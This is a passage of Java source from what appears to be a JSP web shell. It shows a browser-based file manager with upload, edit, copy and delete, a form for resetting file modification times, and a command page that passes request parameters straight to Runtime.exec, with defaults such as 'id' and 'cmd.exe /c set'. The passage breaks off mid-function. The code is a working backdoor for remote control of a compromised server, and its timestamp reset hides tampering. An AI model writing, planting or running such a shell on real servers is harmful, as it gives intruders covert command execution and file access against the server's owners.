  1624.                 if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
  1625.                     JSession.removeAttribute(ENTER);
  1626.                     JSession.removeAttribute(ENTER_MSG);
  1627.                     JSession.removeAttribute(ENTER_CURRENT_DIR);
  1628.                 }
  1629.                 Object enter = JSession.getAttribute(ENTER);
  1630.                 File file = null;
  1631.                 if (!Util.isEmpty(enter)) {
  1632.                     if (Util.isEmpty(path)) {
  1633.                         if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
  1634.                             path = "/";
  1635.                         else
  1636.                             path = (String) (JSession
  1637.                                     .getAttribute(ENTER_CURRENT_DIR));
  1638.                     }
  1639.                     file = new EnterFile(path);
  1640.                     ((EnterFile) file).setZf((String) enter);
  1641.                     JSession.setAttribute(ENTER_CURRENT_DIR, path);
  1642.                 } else {
  1643.                     if (Util.isEmpty(path))
  1644.                         path = JSession.getAttribute(CURRENT_DIR).toString();
  1645.                     JSession.setAttribute(CURRENT_DIR, Util.convertPath(path));
  1646.                     file = new File(path);
  1647.                 }
  1648.                 path2View = Util.convertPath(path);
  1649.                 if (!file.exists()) {
  1650.                     throw new Exception(path + "Dont Exists !");
  1651.                 }
  1652.                 File[] list = file.listFiles();
  1653.                 Arrays.sort(list, new MyComparator());
  1654.                 out.println("<div style='margin:10px'>");
  1655.                 String cr = null;
  1656.                 try {
  1657.                     cr = JSession.getAttribute(CURRENT_DIR).toString()
  1658.                             .substring(0, 3);
  1659.                 } catch (Exception e) {
  1660.                     cr = "/";
  1661.                 }
  1662.                 File currentRoot = new File(cr);
  1663.                 out.println("<h2>File Manager - Current disk &quot;"
  1664.                         + (cr.indexOf("/") == 0 ? "/" : currentRoot.getPath())
  1665.                         + "&quot; total (unknow)</h2>");
  1666.                 out
  1667.                         .println("<form action=\""
  1668.                                 + SHELL_NAME
  1669.                                 + "\" method=\"post\">"
  1670.                                 + "<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"
  1671.                                 + "  <tr>"
  1672.                                 + "    <td nowrap>Current Directory  <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"
  1673.                                 + "    <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""
  1674.                                 + path2View
  1675.                                 + "\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"
  1676.                                 + "    <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"
  1677.                                 + "  </tr>" + "</table>" + "</form>");
  1678.                 out
  1679.                         .println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"
  1680.                                 + "<form action=\""
  1681.                                 + SHELL_NAME
  1682.                                 + "?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"
  1683.                                 + "<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "
  1684.                                 + (enter == null ? "type=\"submit\""
  1685.                                         : "type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")
  1686.                                 + " /></div>"
  1687.                                 + "<a href=\"javascript:new fso({path:'"
  1688.                                 + Util.convertPath(WEB_ROOT)
  1689.                                 + "'}).subdir('true')\">Web Root</a>"
  1690.                                 + " | <a href=\"javascript:new fso({path:'"
  1691.                                 + Util.convertPath(SHELL_DIR)
  1692.                                 + "'}).subdir('true')\">Shell Directory</a>"
  1693.                                 + " | <a href=\"javascript:"
  1694.                                 + (enter == null ? "new fso({}).mkdir()"
  1695.                                         : "alert('You Are In File Now ! Can Not Create Directory ! ')")
  1696.                                 + "\">New Directory</a> | <a href=\"javascript:"
  1697.                                 + (enter == null ? "new fso({}).createFile()"
  1698.                                         : "alert('You Are In File Now ! Can Not Create File !')")
  1699.                                 + "\">New File</a>" + " | ");
  1700.                 File[] roots = file.listRoots();
  1701.                 for (int i = 0; i < roots.length; i++) {
  1702.                     File r = roots[i];
  1703.                     out.println("<a href=\"javascript:new fso({path:'"
  1704.                             + Util.convertPath(r.getPath())
  1705.                             + "'}).subdir('true');\">Disk("
  1706.                             + Util.convertPath(r.getPath()) + ")</a>");
  1707.                     if (i != roots.length - 1) {
  1708.                         out.println("|");
  1709.                     }
  1710.                 }
  1711.                 out.println("</td>" + "</tr></form>"
  1712.                         + "<tr class=\"head\"><td>&nbsp;</td>"
  1713.                         + "  <td>Name</td>"
  1714.                         + "  <td width=\"16%\">Last Modified</td>"
  1715.                         + "  <td width=\"10%\">Size</td>"
  1716.                         + "  <td width=\"20%\">Read/Write/Execute</td>"
  1717.                         + "  <td width=\"22%\">&nbsp;</td>" + "</tr>");
  1718.                 if (file.getParent() != null) {
  1719.                     out
  1720.                             .println("<tr class=alt1>"
  1721.                                     + "<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"
  1722.                                     + "<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"
  1723.                                     + Util.convertPath(file.getAbsolutePath())
  1724.                                     + "'}).parent()\">Goto Parent</a></td>"
  1725.                                     + "</tr>");
  1726.                 }
  1727.                 int dircount = 0;
  1728.                 int filecount = 0;
  1729.                 for (int i = 0; i < list.length; i++) {
  1730.                     File f = list[i];
  1731.                     if (f.isDirectory()) {
  1732.                         dircount++;
  1733.                         out
  1734.                                 .println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"
  1735.                                         + "<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"
  1736.                                         + "<td><a href=\"javascript:new fso({path:'"
  1737.                                         + Util.convertPath(f.getAbsolutePath())
  1738.                                         + "'}).subdir()\">"
  1739.                                         + f.getName()
  1740.                                         + "</a></td>"
  1741.                                         + "<td nowrap>"
  1742.                                         + Util.formatDate(f.lastModified())
  1743.                                         + "</td>"
  1744.                                         + "<td nowrap>--</td>"
  1745.                                         + "<td nowrap>"
  1746.                                         + f.canRead()
  1747.                                         + " / "
  1748.                                         + f.canWrite()
  1749.                                         + " / unknow</td>"
  1750.                                         + "<td nowrap>");
  1751.                         if (enter != null)
  1752.                             out.println("&nbsp;");
  1753.                         else
  1754.                             out
  1755.                                     .println("<a href=\"javascript:new fso({path:'"
  1756.                                             + Util.convertPath(f
  1757.                                                     .getAbsolutePath())
  1758.                                             + "',filename:'"
  1759.                                             + f.getName()
  1760.                                             + "'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"
  1761.                                             + Util.convertPath(f
  1762.                                                     .getAbsolutePath())
  1763.                                             + "'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"
  1764.                                             + Util.convertPath(f
  1765.                                                     .getAbsolutePath())
  1766.                                             + "',filename:'"
  1767.                                             + f.getName()
  1768.                                             + "'}).pack(true)\">Pack</a>");
  1769.                         out.println("</td></tr>");
  1770.                     } else {
  1771.                         filecount++;
  1772.                         out
  1773.                                 .println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"
  1774.                                         + "<td width=\"2%\" nowrap><input type='checkbox' value='"
  1775.                                         + f.getName()
  1776.                                         + "'/></td>"
  1777.                                         + "<td><a href=\"javascript:new fso({path:'"
  1778.                                         + Util.convertPath(f.getAbsolutePath())
  1779.                                         + "'}).down()\">"
  1780.                                         + f.getName()
  1781.                                         + "</a></td>"
  1782.                                         + "<td nowrap>"
  1783.                                         + Util.formatDate(f.lastModified())
  1784.                                         + "</td>"
  1785.                                         + "<td nowrap>"
  1786.                                         + Util.getSize(f.length(), 'B')
  1787.                                         + "</td>"
  1788.                                         + "<td nowrap>"
  1789.                                         + ""
  1790.                                         + f.canRead()
  1791.                                         + " / "
  1792.                                         + f.canWrite()
  1793.                                         + " / unknow </td>"
  1794.                                         + "<td nowrap>"
  1795.                                         + "<a href=\"javascript:new fso({path:'"
  1796.                                         + Util.convertPath(f.getAbsolutePath())
  1797.                                         + "'}).vEdit()\">Edit</a> | "
  1798.                                         + "<a href=\"javascript:new fso({path:'"
  1799.                                         + Util.convertPath(f.getAbsolutePath())
  1800.                                         + "'}).down()\">Down</a> | "
  1801.                                         + "<a href=\"javascript:new fso({path:'"
  1802.                                         + Util.convertPath(f.getAbsolutePath())
  1803.                                         + "'}).copy()\">Copy</a>");
  1804.                         if (enter == null) {
  1805.                             out
  1806.                                     .println(" | <a href=\"javascript:new fso({path:'"
  1807.                                             + Util.convertPath(f
  1808.                                                     .getAbsolutePath())
  1809.                                             + "'}).move()\">Move</a> | "
  1810.                                             + "<a href=\"javascript:new fso({path:'"
  1811.                                             + Util.convertPath(f
  1812.                                                     .getAbsolutePath())
  1813.                                             + "'}).vEditProperty()\">Property</a> | "
  1814.                                             + "<a href=\"javascript:new fso({path:'"
  1815.                                             + Util.convertPath(f
  1816.                                                     .getAbsolutePath())
  1817.                                             + "'}).enter()\">Enter</a>");
  1818.                             if (f.getName().endsWith(".zip")
  1819.                                     || f.getName().endsWith(".jar")) {
  1820.                                 out
  1821.                                         .println(" | <a href=\"javascript:new fso({path:'"
  1822.                                                 + Util.convertPath(f
  1823.                                                         .getAbsolutePath())
  1824.                                                 + "',filename:'"
  1825.                                                 + f.getName()
  1826.                                                 + "'}).unpack()\">UnPack</a>");
  1827.                             } else if (f.getName().endsWith(".rar")) {
  1828.                                 out
  1829.                                         .println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
  1830.                             } else {
  1831.                                 out
  1832.                                         .println(" | <a href=\"javascript:new fso({path:'"
  1833.                                                 + Util.convertPath(f
  1834.                                                         .getAbsolutePath())
  1835.                                                 + "',filename:'"
  1836.                                                 + f.getName()
  1837.                                                 + "'}).pack()\">Pack</a>");
  1838.                             }
  1839.                         }
  1840.                         out.println("</td></tr>");
  1841.                     }
  1842.                 }
  1843.                 out
  1844.                         .println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>"
  1845.                                 + "  <td>");
  1846.                 if (enter != null)
  1847.                     out
  1848.                             .println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
  1849.                 else
  1850.                     out
  1851.                             .println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
  1852.                 out.println("</td>" + "  <td colspan=\"4\" align=\"right\">"
  1853.                         + dircount + " directories / " + filecount
  1854.                         + " files</td></tr>" + "</table>");
  1855.                 out.println("</div>");
  1856.                 if (file instanceof EnterFile)
  1857.                     ((EnterFile) file).close();
  1858.             } catch (ZipException e) {
  1859.                 JSession.setAttribute(MSG, "\""
  1860.                         + JSession.getAttribute(ENTER).toString()
  1861.                         + "\" Is Not a Zip File. Please Exit.");
  1862.                 throw e;
  1863.             } catch (Exception e) {
  1864.                 JSession.setAttribute(MSG,
  1865.                         "File Does Not Exist Or You Dont Have Privilege."
  1866.                                 + BACK_HREF);
  1867.                 throw e;
  1868.             }
  1869.         }
  1870.     }
  1871.  
  1872.     private static class LogoutInvoker extends DefaultInvoker {
  1873.         public boolean doBefore() {
  1874.             return false;
  1875.         }
  1876.  
  1877.         public boolean doAfter() {
  1878.             return false;
  1879.         }
  1880.  
  1881.         public void invoke(HttpServletRequest request,
  1882.                 HttpServletResponse response, HttpSession JSession)
  1883.                 throws Exception {
  1884.             try {
  1885.                 Object dbo = JSession.getAttribute(DBO);
  1886.                 if (dbo != null)
  1887.                     ((DBOperator) dbo).close();
  1888.                 Object obj = JSession.getAttribute(PORT_MAP);
  1889.                 if (obj != null) {
  1890.                     ServerSocket s = (ServerSocket) obj;
  1891.                     s.close();
  1892.                 }
  1893.                 Object online = JSession.getAttribute(SHELL_ONLINE);
  1894.                 if (online != null)
  1895.                     ((OnLineProcess) online).stop();
  1896.                 JSession.invalidate();
  1897.                 ((Invoker) ins.get("vLogin")).invoke(request, response,
  1898.                         JSession);
  1899.             } catch (ClassCastException e) {
  1900.                 JSession.invalidate();
  1901.                 ((Invoker) ins.get("vLogin")).invoke(request, response,
  1902.                         JSession);
  1903.             } catch (Exception e) {
  1904.  
  1905.                 throw e;
  1906.             }
  1907.         }
  1908.     }
  1909.  
  1910.     private static class UploadInvoker extends DefaultInvoker {
  1911.         public boolean doBefore() {
  1912.             return false;
  1913.         }
  1914.  
  1915.         public boolean doAfter() {
  1916.             return false;
  1917.         }
  1918.  
  1919.         public void invoke(HttpServletRequest request,
  1920.                 HttpServletResponse response, HttpSession JSession)
  1921.                 throws Exception {
  1922.             try {
  1923.                 UploadBean fileBean = new UploadBean();
  1924.                 response.getWriter().println(
  1925.                         JSession.getAttribute(CURRENT_DIR).toString());
  1926.                 fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR)
  1927.                         .toString());
  1928.                 fileBean.parseRequest(request);
  1929.                 File f = new File(JSession.getAttribute(CURRENT_DIR) + "/"
  1930.                         + fileBean.getFileName());
  1931.                 if (f.exists() && f.length() > 0)
  1932.                     JSession
  1933.                             .setAttribute(MSG,
  1934.                                     "<span style='color:green'>Upload File Success!</span>");
  1935.                 else
  1936.                     JSession
  1937.                             .setAttribute("MSG",
  1938.                                     "<span style='color:red'>Upload File Failed!</span>");
  1939.                 response.sendRedirect(SHELL_NAME);
  1940.             } catch (Exception e) {
  1941.                 throw e;
  1942.             }
  1943.         }
  1944.     }
  1945.  
  1946.     private static class CopyInvoker extends DefaultInvoker {
  1947.         public void invoke(HttpServletRequest request,
  1948.                 HttpServletResponse response, HttpSession JSession)
  1949.                 throws Exception {
  1950.             try {
  1951.                 String src = request.getParameter("src");
  1952.                 String to = request.getParameter("to");
  1953.                 InputStream in = null;
  1954.                 Object enter = JSession.getAttribute(ENTER);
  1955.                 if (enter == null)
  1956.                     in = new FileInputStream(new File(src));
  1957.                 else {
  1958.                     ZipFile zf = new ZipFile((String) enter);
  1959.                     ZipEntry entry = zf.getEntry(src);
  1960.                     in = zf.getInputStream(entry);
  1961.                 }
  1962.                 BufferedInputStream input = new BufferedInputStream(in);
  1963.                 BufferedOutputStream output = new BufferedOutputStream(
  1964.                         new FileOutputStream(new File(to)));
  1965.                 byte[] d = new byte[1024];
  1966.                 int len = input.read(d);
  1967.                 while (len != -1) {
  1968.                     output.write(d, 0, len);
  1969.                     len = input.read(d);
  1970.                 }
  1971.                 output.close();
  1972.                 input.close();
  1973.                 JSession.setAttribute(MSG, "Copy File Success!");
  1974.                 response.sendRedirect(SHELL_NAME);
  1975.             } catch (Exception e) {
  1976.  
  1977.                 throw e;
  1978.             }
  1979.         }
  1980.     }
  1981.  
  1982.     private static class BottomInvoker extends DefaultInvoker {
  1983.         public boolean doBefore() {
  1984.             return false;
  1985.         }
  1986.  
  1987.         public boolean doAfter() {
  1988.             return false;
  1989.         }
  1990.  
  1991.         public void invoke(HttpServletRequest request,
  1992.                 HttpServletResponse response, HttpSession JSession)
  1993.                 throws Exception {
  1994.             try {
  1995.                 response
  1996.                         .getWriter()
  1997.                         .println(
  1998.                                 "<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Don't break my heart~"
  1999.                                         + "</div>");
  2000.             } catch (Exception e) {
  2001.  
  2002.                 throw e;
  2003.             }
  2004.         }
  2005.     }
  2006.  
  2007.     private static class VCreateFileInvoker extends DefaultInvoker {
  2008.         public void invoke(HttpServletRequest request,
  2009.                 HttpServletResponse response, HttpSession JSession)
  2010.                 throws Exception {
  2011.             try {
  2012.                 PrintWriter out = response.getWriter();
  2013.                 String path = request.getParameter("filepath");
  2014.                 File f = new File(path);
  2015.                 if (!f.isAbsolute()) {
  2016.                     String oldPath = path;
  2017.                     path = JSession.getAttribute(CURRENT_DIR).toString();
  2018.                     if (!path.endsWith("/"))
  2019.                         path += "/";
  2020.                     path += oldPath;
  2021.                     f = new File(path);
  2022.                     f.createNewFile();
  2023.                 } else {
  2024.                     f.createNewFile();
  2025.                 }
  2026.                 out
  2027.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  2028.                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2029.                                 + SHELL_NAME
  2030.                                 + "\" method=\"post\" >"
  2031.                                 + "<h2>Create / Edit File &raquo;</h2>"
  2032.                                 + "<input type='hidden' name='o' value='createFile'>"
  2033.                                 + "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""
  2034.                                 + path
  2035.                                 + "\" type=\"text\" size=\"100\"  />"
  2036.                                 + " <select name='charset' class='input'><option value='ANSI'>ANSI</option><option value='UTF-8'>UTF-8</option></select></p>"
  2037.                                 + "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"
  2038.                                 + "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"
  2039.                                 + "</form>" + "</td></tr></table>");
  2040.             } catch (Exception e) {
  2041.  
  2042.                 throw e;
  2043.             }
  2044.         }
  2045.     }
  2046.  
  2047.     private static class VEditInvoker extends DefaultInvoker {
  2048.         public void invoke(HttpServletRequest request,
  2049.                 HttpServletResponse response, HttpSession JSession)
  2050.                 throws Exception {
  2051.             try {
  2052.                 PrintWriter out = response.getWriter();
  2053.                 String path = request.getParameter("filepath");
  2054.                 String charset = request.getParameter("charset");
  2055.                 Object enter = JSession.getAttribute(ENTER);
  2056.                 InputStream input = null;
  2057.                 if (enter != null) {
  2058.                     ZipFile zf = new ZipFile((String) enter);
  2059.                     ZipEntry entry = new ZipEntry(path);
  2060.                     input = zf.getInputStream(entry);
  2061.                 } else {
  2062.                     File f = new File(path);
  2063.                     if (!f.exists())
  2064.                         return;
  2065.                     input = new FileInputStream(path);
  2066.                 }
  2067.  
  2068.                 BufferedReader reader = null;
  2069.                 if (Util.isEmpty(charset) || charset.equals("ANSI"))
  2070.                     reader = new BufferedReader(new InputStreamReader(input));
  2071.                 else
  2072.                     reader = new BufferedReader(new InputStreamReader(input,
  2073.                             charset));
  2074.                 StringBuffer content = new StringBuffer();
  2075.                 String s = reader.readLine();
  2076.                 while (s != null) {
  2077.                     content.append(s + "\r\n");
  2078.                     s = reader.readLine();
  2079.                 }
  2080.                 reader.close();
  2081.                 out
  2082.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  2083.                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2084.                                 + SHELL_NAME
  2085.                                 + "\" method=\"post\" >"
  2086.                                 + "<h2>Create / Edit File &raquo;</h2>"
  2087.                                 + "<input type='hidden' name='o' value='createFile'>"
  2088.                                 + "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""
  2089.                                 + path
  2090.                                 + "\" type=\"text\" size=\"100\"  />"
  2091.                                 + " <select name='charset' id='fcharset' onchange=\"new fso({path:'"
  2092.                                 + path
  2093.                                 + "',charset:document.getElementById('fcharset').value}).vEdit()\" class='input'><option value='ANSI'>ANSI</option><option "
  2094.                                 + ((!Util.isEmpty(charset) && charset
  2095.                                         .equals("UTF-8")) ? "selected" : "")
  2096.                                 + " value='UTF-8'>UTF-8</option></select></p>"
  2097.                                 + "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"
  2098.                                 + Util.htmlEncode(content.toString())
  2099.                                 + "</textarea></p>" + "<p>");
  2100.                 if (enter != null)
  2101.                     out
  2102.                             .println("<input class=\"bt\" name=\"submit\" id=\"submit\" onclick=\"alert('You Are In File Now ! Can Not Save !')\" type=\"button\" value=\"Submit\">");
  2103.                 else
  2104.                     out
  2105.                             .println("<input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\">");
  2106.                 out
  2107.                         .println("<input class=\"bt\"  type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"
  2108.                                 + "</form>" + "</td></tr></table>");
  2109.  
  2110.             } catch (Exception e) {
  2111.  
  2112.                 throw e;
  2113.             }
  2114.         }
  2115.     }
  2116.  
  2117.     private static class CreateFileInvoker extends DefaultInvoker {
  2118.         public boolean doBefore() {
  2119.             return false;
  2120.         }
  2121.  
  2122.         public boolean doAfter() {
  2123.             return false;
  2124.         }
  2125.  
  2126.         public void invoke(HttpServletRequest request,
  2127.                 HttpServletResponse response, HttpSession JSession)
  2128.                 throws Exception {
  2129.             try {
  2130.                 PrintWriter out = response.getWriter();
  2131.                 String path = request.getParameter("filepath");
  2132.                 String content = request.getParameter("filecontent");
  2133.                 String charset = request.getParameter("charset");
  2134.                 BufferedWriter outs = null;
  2135.                 if (charset.equals("ANSI"))
  2136.                     outs = new BufferedWriter(new FileWriter(new File(path)));
  2137.                 else
  2138.                     outs = new BufferedWriter(new OutputStreamWriter(
  2139.                             new FileOutputStream(new File(path)), charset));
  2140.                 outs.write(content, 0, content.length());
  2141.                 outs.close();
  2142.                 JSession
  2143.                         .setAttribute(
  2144.                                 MSG,
  2145.                                 "Save File <span style='color:green'>"
  2146.                                         + (new File(path)).getName()
  2147.                                         + "</span> With <span style='font-weight:bold;color:red'>"
  2148.                                         + charset + "</span> Success!");
  2149.                 response.sendRedirect(SHELL_NAME);
  2150.             } catch (Exception e) {
  2151.  
  2152.                 throw e;
  2153.             }
  2154.         }
  2155.     }
  2156.  
  2157.     private static class VEditPropertyInvoker extends DefaultInvoker {
  2158.         public void invoke(HttpServletRequest request,
  2159.                 HttpServletResponse response, HttpSession JSession)
  2160.                 throws Exception {
  2161.             try {
  2162.                 PrintWriter out = response.getWriter();
  2163.                 String filepath = request.getParameter("filepath");
  2164.                 File f = new File(filepath);
  2165.                 if (!f.exists())
  2166.                     return;
  2167.                 String read = f.canRead() ? "checked=\"checked\"" : "";
  2168.                 String write = f.canWrite() ? "checked=\"checked\"" : "";
  2169.                 Calendar cal = Calendar.getInstance();
  2170.                 cal.setTimeInMillis(f.lastModified());
  2171.  
  2172.                 out
  2173.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  2174.                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2175.                                 + SHELL_NAME
  2176.                                 + "\" method=\"post\" >"
  2177.                                 + "<h2>Set File Property &raquo;</h2>"
  2178.                                 + "<p>Current File (FullPath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""
  2179.                                 + request.getParameter("filepath")
  2180.                                 + "\" type=\"text\" size=\"120\"  /></p>"
  2181.                                 + "<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "
  2182.                                 + "<p>"
  2183.                                 + "  <input type=\"checkbox\" disabled "
  2184.                                 + read
  2185.                                 + " name=\"read\" id=\"checkbox\">Read "
  2186.                                 + "  <input type=\"checkbox\" disabled "
  2187.                                 + write
  2188.                                 + " name=\"write\" id=\"checkbox2\">Write "
  2189.                                 + "</p>"
  2190.                                 + "<p>Instead &raquo;"
  2191.                                 + "year:"
  2192.                                 + "<input class=\"input\" name=\"year\" value="
  2193.                                 + cal.get(Calendar.YEAR)
  2194.                                 + " id=\"year\" type=\"text\" size=\"4\"  />"
  2195.                                 + "month:"
  2196.                                 + "<input class=\"input\" name=\"month\" value="
  2197.                                 + (cal.get(Calendar.MONTH) + 1)
  2198.                                 + " id=\"month\" type=\"text\" size=\"2\"  />"
  2199.                                 + "day:"
  2200.                                 + "<input class=\"input\" name=\"date\" value="
  2201.                                 + cal.get(Calendar.DATE)
  2202.                                 + " id=\"date\" type=\"text\" size=\"2\"  />"
  2203.                                 + ""
  2204.                                 + "hour:"
  2205.                                 + "<input class=\"input\" name=\"hour\" value="
  2206.                                 + cal.get(Calendar.HOUR)
  2207.                                 + " id=\"hour\" type=\"text\" size=\"2\"  />"
  2208.                                 + "minute:"
  2209.                                 + "<input class=\"input\" name=\"minute\" value="
  2210.                                 + cal.get(Calendar.MINUTE)
  2211.                                 + " id=\"minute\" type=\"text\" size=\"2\"  />"
  2212.                                 + "second:"
  2213.                                 + "<input class=\"input\" name=\"second\" value="
  2214.                                 + cal.get(Calendar.SECOND)
  2215.                                 + " id=\"second\" type=\"text\" size=\"2\"  />"
  2216.                                 + "</p>"
  2217.                                 + "<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"
  2218.                                 + "</form>" + "</td></tr></table>");
  2219.             } catch (Exception e) {
  2220.                 throw e;
  2221.             }
  2222.         }
  2223.     }
  2224.  
  2225.     private static class EditPropertyInvoker extends DefaultInvoker {
  2226.         public boolean doBefore() {
  2227.             return false;
  2228.         }
  2229.  
  2230.         public boolean doAfter() {
  2231.             return false;
  2232.         }
  2233.  
  2234.         public void invoke(HttpServletRequest request,
  2235.                 HttpServletResponse response, HttpSession JSession)
  2236.                 throws Exception {
  2237.             try {
  2238.                 String f = request.getParameter("file");
  2239.                 File file = new File(f);
  2240.                 if (!file.exists())
  2241.                     return;
  2242.  
  2243.                 String year = request.getParameter("year");
  2244.                 String month = request.getParameter("month");
  2245.                 String date = request.getParameter("date");
  2246.                 String hour = request.getParameter("hour");
  2247.                 String minute = request.getParameter("minute");
  2248.                 String second = request.getParameter("second");
  2249.  
  2250.                 Calendar cal = Calendar.getInstance();
  2251.                 cal.set(Calendar.YEAR, Integer.parseInt(year));
  2252.                 cal.set(Calendar.MONTH, Integer.parseInt(month) - 1);
  2253.                 cal.set(Calendar.DATE, Integer.parseInt(date));
  2254.                 cal.set(Calendar.HOUR, Integer.parseInt(hour));
  2255.                 cal.set(Calendar.MINUTE, Integer.parseInt(minute));
  2256.                 cal.set(Calendar.SECOND, Integer.parseInt(second));
  2257.                 if (file.setLastModified(cal.getTimeInMillis())) {
  2258.                     JSession.setAttribute(MSG, "Reset File Property Success!");
  2259.                 } else {
  2260.                     JSession
  2261.                             .setAttribute(MSG,
  2262.                                     "<span style='color:red'>Reset File Property Failed!</span>");
  2263.                 }
  2264.                 response.sendRedirect(SHELL_NAME);
  2265.             } catch (Exception e) {
  2266.  
  2267.                 throw e;
  2268.             }
  2269.         }
  2270.     }
  2271.  
  2272.     //VShell
  2273.     private static class VsInvoker extends DefaultInvoker {
  2274.         public void invoke(HttpServletRequest request,
  2275.                 HttpServletResponse response, HttpSession JSession)
  2276.                 throws Exception {
  2277.             try {
  2278.                 PrintWriter out = response.getWriter();
  2279.                 String cmd = request.getParameter("command");
  2280.                 String program = request.getParameter("program");
  2281.                 if (cmd == null) {
  2282.                     if (ISLINUX)
  2283.                         cmd = "id";
  2284.                     else
  2285.                         cmd = "cmd.exe /c set";
  2286.                 }
  2287.                 if (program == null)
  2288.                     program = "cmd.exe /c net start > " + SHELL_DIR
  2289.                             + "/Log.txt";
  2290.                 if (JSession.getAttribute(MSG) != null) {
  2291.                     Util.outMsg(out, JSession.getAttribute(MSG).toString());
  2292.                     JSession.removeAttribute(MSG);
  2293.                 }
  2294.                 out
  2295.                         .println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"
  2296.                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2297.                                 + SHELL_NAME
  2298.                                 + "\" method=\"post\" >"
  2299.                                 + "<h2>Execute Program &raquo;</h2>"
  2300.                                 + "<p>"
  2301.                                 + "<input type=\"hidden\" name=\"o\" value=\"shell\">"
  2302.                                 + "<input type=\"hidden\" name=\"type\" value=\"program\">"
  2303.                                 + "Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""
  2304.                                 + program
  2305.                                 + "\" type=\"text\" size=\"100\"  />"
  2306.                                 + "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"
  2307.                                 + "</p>"
  2308.                                 + "</form>"
  2309.                                 + "<form name=\"form1\" id=\"form1\" action=\""
  2310.                                 + SHELL_NAME
  2311.                                 + "\" method=\"post\" >"
  2312.                                 + "<h2>Execute Shell &raquo;</h2>"
  2313.                                 + "<p>"
  2314.                                 + "<input type=\"hidden\" name=\"o\" value=\"shell\">"
  2315.                                 + "<input type=\"hidden\" name=\"type\" value=\"command\">"
  2316.                                 + "Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""
  2317.                                 + cmd
  2318.                                 + "\" type=\"text\" size=\"100\"  />"
  2319.                                 + "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\"  />"
  2320.                                 + "</p>"
  2321.                                 + "</form>"
  2322.                                 + "</td>"
  2323.                                 + "</tr></table>");
  2324.             } catch (Exception e) {
  2325.  
  2326.                 throw e;
  2327.             }
  2328.         }
  2329.     }
  2330.  
  2331.     private static class ShellInvoker extends DefaultInvoker {
  2332.         public void invoke(HttpServletRequest request,
  2333.                 HttpServletResponse response, HttpSession JSession)
  2334.                 throws Exception {
  2335.             try {
  2336.                 PrintWriter out = response.getWriter();
  2337.                 String type = request.getParameter("type");
  2338.                 if (type.equals("command")) {
  2339.                     ((Invoker) ins.get("vs")).invoke(request, response,
  2340.                             JSession);
  2341.                     out.println("<div style='margin:10px'><hr/>");
  2342.                     out.println("<pre>");
  2343.                     String command = request.getParameter("command");
  2344.                     if (!Util.isEmpty(command)) {
  2345.                         Process pro = Runtime.getRuntime().exec(command);
  2346.                         BufferedReader reader = new BufferedReader(
  2347.                                 new InputStreamReader(pro.getInputStream()));
  2348.                         String s = reader.readLine();
  2349.                         while (s != null) {
